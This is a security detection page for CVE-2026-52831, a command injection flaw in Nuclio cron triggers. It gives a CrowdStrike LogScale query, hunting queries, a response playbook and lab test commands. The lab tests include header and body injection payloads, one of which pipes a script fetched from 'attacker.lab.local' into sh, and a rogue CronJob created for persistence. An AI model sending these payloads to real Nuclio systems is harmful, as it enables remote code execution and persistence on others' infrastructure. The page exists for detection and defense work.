CVE-2026-52831 CrowdStrike LogScale · LogScale

Detect Nuclio Cron Trigger Header/Body Command Injection (CVE-2026-52831) in CrowdStrike LogScale

Detects exploitation of CVE-2026-52831, a critical (CVSS 10.0) command injection vulnerability in Nuclio's cron trigger handling. Unsanitized event headers and body content are injected into a CronJob-generated shell command, enabling unauthenticated attackers to achieve persistent remote code execution inside Nuclio function containers and, from there, the underlying Kubernetes node. Detection focuses on shell metacharacter injection in Nuclio dashboard/trigger logs, anomalous child processes spawned from nuclio-handler/processor binaries, and suspicious CronJob-launched shell activity in Kubernetes.

MITRE ATT&CK

Tactic
Initial Access Execution Privilege Escalation Persistence

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql 
#event_simpleName=ProcessRollup2
| in(field="ParentBaseFileName", values=["processor", "nuclio-handler", "handler"], ignoreCase=true)
| regex(field="CommandLine", pattern="(curl|wget|nc |/bin/sh|/bin/bash|&&|\\$\\(|`|\\|)", ignoreCase=true)
| table(["@timestamp", "ComputerName", "ParentBaseFileName", "FileName", "CommandLine"])
| sort("@timestamp", order=desc)
critical severity medium confidence

Falcon Query Language detection for suspicious child process execution from Nuclio processor/handler binaries containing shell metacharacters or exploitation utilities, consistent with CVE-2026-52831.

Data Sources

CrowdStrike Falcon Process Telemetry

Required Tables

ProcessRollup2

False Positives & Tuning

  • Custom function code intentionally invoking external binaries for legitimate integrations
  • Sidecar containers sharing process namespace with legitimate shell usage
  • Debugging sessions where developers manually exec into containers

Other platforms for CVE-2026-52831

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate malicious cron trigger header injection

    Expected signal: Nuclio processor container log entries showing the injected header value and a subsequent shell process (sh/bash) spawned as a child of the processor binary

  2. Test 2Simulate cron trigger body command injection

    Expected signal: Outbound HTTP request from the Nuclio processor container to attacker.lab.local and creation of a curl child process under the processor binary

  3. Test 3Detect unpatched Nuclio dashboard version

    Expected signal: Nuclio dashboard API access log entry for /api/versions endpoint request

  4. Test 4Simulate persistent CronJob creation via injection

    Expected signal: Kubernetes audit log CronJob create event in the nuclio namespace originating from an in-cluster service account associated with the processor pod

Last updated: 2026-08-01 Research depth: standard
References (4)

Response Playbook

Triage

  1. Identify all Nuclio dashboard and function instances in the environment and confirm the running version against the patched commit 3356b86a8bfab3f960aa420310ebff765df9dede (fixed in 1.16.4)
  2. Review cron trigger configurations for affected functions and inspect recent trigger event headers/body for shell metacharacters (;, |, &&, $(), backticks) or embedded curl/wget/nc commands
  3. Correlate Nuclio processor container process trees for unexpected child shell processes (sh, bash) spawned outside normal function execution paths
  4. Check Kubernetes audit logs for CronJob creation/modification events tied to Nuclio namespaces around the time of suspicious log entries
  5. Inspect the Nuclio dashboard API access logs for unauthenticated or anomalous requests to cron trigger configuration endpoints

Containment

  1. Immediately upgrade all Nuclio deployments to version 1.16.4 or later, or apply the patch from commit 3356b86a8bfab3f960aa420310ebff765df9dede
  2. Isolate and quarantine affected Nuclio function pods/nodes by cordoning the Kubernetes node and removing network access pending investigation
  3. Rotate any credentials, service account tokens, or secrets accessible to the compromised Nuclio processor container or mounted into affected pods
  4. Restrict or disable cron trigger functionality on internet-facing Nuclio dashboards until patching is confirmed complete

Evidence Collection

  1. Capture full container logs, process trees, and filesystem snapshots from affected Nuclio processor pods before termination or restart
  2. Export Kubernetes audit logs, CronJob manifests, and associated event history for the affected namespace covering the suspected exploitation window
  3. Preserve Nuclio dashboard access logs, trigger configuration history, and any persisted cron job definitions for forensic timeline reconstruction
  4. Collect network flow logs and DNS query records from affected nodes to identify command-and-control or data exfiltration destinations

Escalation Criteria

  • !Evidence of successful RCE with outbound network connections to external/unknown IPs or domains from Nuclio processor containers
  • !Confirmed lateral movement from a compromised Nuclio pod to other pods, nodes, or the Kubernetes control plane
  • !Discovery of persistence mechanisms (modified CronJobs, new service accounts, added SSH keys) surviving container restarts
  • !Any indication that cluster secrets, service account tokens with elevated RBAC, or cloud provider credentials were accessed or exfiltrated

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Kubernetes CronJob manifests and their modification history in the affected namespace
  • >Nuclio processor container filesystem changes, dropped files, or newly written scripts under /tmp or function working directories
  • >Container runtime process accounting logs showing parent-child relationships between processor binaries and spawned shells
  • >Nuclio dashboard configuration database entries for cron trigger event definitions

Tuning Guidance

Baseline expected Nuclio function behavior per namespace/tenant before enabling in blocking mode; legitimate functions that call curl/wget/shell utilities as part of business logic will generate false positives on the regex-based rules. Scope detections to only cron-triggered functions where feasible, and correlate with Nuclio dashboard version metadata to suppress alerts once environments are confirmed patched to 1.16.4+. Increase confidence when shell metacharacter patterns co-occur with process spawning from processor/handler binaries rather than log content alone.

Hunting Queries

Hunts for anomalous CronJob/Job creation events tied to Nuclio namespaces, useful for identifying persistence established via the vulnerability outside of normal deployment activity.

Hunting — KQL
kql 
KubePodInventory
| where Namespace has "nuclio"
| distinct PodName, ContainerImage
| join kind=inner (KubeEvents | where Reason == "Created" and ObjectKind == "Job") on PodName
| project TimeGenerated, PodName, ContainerImage, Reason
Hunting — SPL
spl 
index=kubernetes sourcetype="kube:events" objectKind="CronJob" namespace="nuclio"
| stats count by pod_name, cron_schedule, _time
| sort -_time

Atomic Red Team Tests

Test 1 Simulate malicious cron trigger header injection
linux

Sends a crafted HTTP request to a lab Nuclio dashboard cron trigger endpoint with shell metacharacters embedded in event headers to simulate the injection vector (lab environment only, pre-patch version required)

Command

bash 
curl -X POST http://nuclio-dashboard.lab.local:8070/api/functions/test-cron-fn/invoke -H 'X-Nuclio-Event-Header: ; touch /tmp/pwned_poc ;' -d '{"body":"test"}'

Cleanup

bash 
kubectl exec -n nuclio deploy/test-cron-fn -- rm -f /tmp/pwned_poc

Expected Telemetry

Nuclio processor container log entries showing the injected header value and a subsequent shell process (sh/bash) spawned as a child of the processor binary

Expected Detection

elastic_eql and crowdstrike_cql rules trigger on child shell process with injected command; kql/spl rules alert on log entries containing shell metacharacters

Test 2 Simulate cron trigger body command injection
linux

Submits a malicious cron trigger event body containing a reverse shell attempt payload to a lab Nuclio function to validate detection of body-based injection (lab environment, isolated network)

Command

bash 
curl -X POST http://nuclio-dashboard.lab.local:8070/api/functions/test-cron-fn/invoke -d '{"body":"test$(curl -s http://attacker.lab.local/poc.sh | sh)"}'

Cleanup

bash 
kubectl delete pod -n nuclio -l nuclio.io/function-name=test-cron-fn --force --grace-period=0 && kubectl rollout restart deploy/test-cron-fn -n nuclio

Expected Telemetry

Outbound HTTP request from the Nuclio processor container to attacker.lab.local and creation of a curl child process under the processor binary

Expected Detection

spl and sumo_logic queries flag curl/pipe-to-shell pattern in container logs; chronicle_yaral rule matches on command_line regex for curl piped to sh

Test 3 Detect unpatched Nuclio dashboard version
linux

Queries a lab Nuclio dashboard API to enumerate the running version and confirm it predates the patched commit, validating vulnerability scanning detection coverage

Command

bash 
curl -s http://nuclio-dashboard.lab.local:8070/api/versions | grep -E 'gitCommit|label'

Cleanup

bash 
No cleanup required; read-only version query

Expected Telemetry

Nuclio dashboard API access log entry for /api/versions endpoint request

Expected Detection

qradar_aql and kql version-inventory hunting queries flag the presence of a Nuclio deployment version older than 1.16.4 for prioritized patching

Test 4 Simulate persistent CronJob creation via injection
linux

Exploits the vulnerability path to create a rogue Kubernetes CronJob resource from within the compromised processor container, simulating attacker persistence establishment

Command

bash 
kubectl exec -n nuclio deploy/test-cron-fn -- sh -c 'echo "apiVersion: batch/v1
kind: CronJob
metadata:
  name: poc-persist
spec:
  schedule: \"*/5 * * * *\"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: poc
            image: busybox
            command: [\"echo\", \"poc\"]
          restartPolicy: OnFailure" > /tmp/poc-cronjob.yaml'

Cleanup

bash 
kubectl delete cronjob poc-persist -n nuclio --ignore-not-found=true

Expected Telemetry

Kubernetes audit log CronJob create event in the nuclio namespace originating from an in-cluster service account associated with the processor pod

Expected Detection

hunting query on KubeEvents/kube:events for anomalous CronJob creation in the nuclio namespace triggers investigation workflow

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0004Privilege EscalationTA0003Persistence

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.004Unix ShellT1053.003Cron

Same Tactic: Initial Access

Popular Detections